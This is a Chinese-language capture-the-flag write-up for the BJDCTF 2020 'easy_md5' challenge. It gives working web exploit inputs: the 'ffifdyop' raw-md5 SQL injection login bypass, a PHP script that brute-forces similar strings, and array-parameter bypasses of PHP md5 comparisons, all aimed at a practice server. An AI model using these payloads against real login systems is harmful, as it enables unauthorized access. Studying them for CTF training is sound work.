[BJDCTF 2020]easy_md5
1.
打开之后是一个查询框
看到标签有SQL注入,宽字节,尝试sql注入测试;测试了半天一点反应都没有
2.
抓包查看也没有什么特别的地方,burp模拟发包,看到:
HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 18 Jul 2023 11:19:58 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/7.3.22 hint: select * from 'admin' where password=md5($pass,true) Content-Length: 3107 ......
hint: select * from 'admin' where password=md5($pass,true)

md5参数为true,返回原始16字符二进制格式
3.
如果md5的值hex之后为 ’ or ‘ 加上abcdefg...
select * from `admin` where password=''or'abcdefg'
当‘ or ’ 后面的值为True是,就能构成万能密码,实现绕过
补充知识点:
MySQL的一个特性:
在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。
要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。
当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)
select * from `admin` where password=''or'1abcdefg' ---> True select * from `admin` where password=''or'0abcdefg' ---> False select * from `admin` where password=''or'1' ---> True select * from `admin` where password=''or'2' ---> True select * from `admin` where password=''or'0' ---> False
<?php for ($i = 0;;) { for ($c = 0; $c < 1000000; $c++, $i++) if (stripos(md5($i, true), '\'or\'') !== false) echo "\nmd5($i) = " . md5($i, true) . "\n"; echo "."; } ?> //引用于 http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/
这里提供一个最常用的:ffifdyop,该字符串md5加密后若md5()的参数为True时会返回 'or'6
所以如果这里我们输入ffifdyop,后端的SQL语句会变成:
select * from `admin` where password=''or'6<trash>' ---> True
———— 摘自[BUUOJ记录] [BJDCTF2020]Easy MD5 - Ye'sBlog - 博客园 (cnblogs.com)
输入:
http://node4.anna.nssctf.cn:28135/leveldo4.php?password=ffifdyop
跳转到:
http://node4.anna.nssctf.cn:28135/levels91.php
4.
查看页面源码:
<!-- $a = $GET['a']; $b = $_GET['b']; if($a != $b && md5($a) == md5($b)){ header('Location: levell14.php');
数组绕过:
http://node4.anna.nssctf.cn:28135/levels91.php?a[]=1&b[]=2
跳转到:
http://node4.anna.nssctf.cn:28135/levell14.php
5.
<?php error_reporting(0); include "flag.php"; highlight_file(__FILE__); if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){ echo $flag; }
数组绕过:
param1[]=1¶m2[]=2
成功得到flag

这届网友太离谱了很多毫无关联的标签都打,害得我只能看write了,本来就菜现在不得不承认更菜了